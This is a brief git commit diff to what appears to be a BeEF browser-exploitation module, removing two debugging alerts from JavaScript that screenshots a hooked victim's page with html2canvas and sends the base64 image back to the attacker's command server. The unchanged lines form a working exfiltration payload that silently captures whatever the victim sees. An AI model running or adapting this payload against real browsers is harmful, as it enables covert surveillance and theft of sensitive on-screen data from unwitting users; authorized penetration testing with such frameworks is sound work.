Oops, forgot to remove those debugging alerts

This commit is contained in:
mgeeky
2016-04-14 15:35:25 +02:00
parent d58f979395
commit ad4cb31864

View File

@@ -11,13 +11,10 @@ beef.execute(function() {
html2canvas(document.body).then(function(canvas) { html2canvas(document.body).then(function(canvas) {
var d = canvas.toDataURL('image/png'); var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d ); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
ret = true;
alert('Did it.');
}); });
} }
catch (e) { catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
alert('FAILED.');
} }
}; };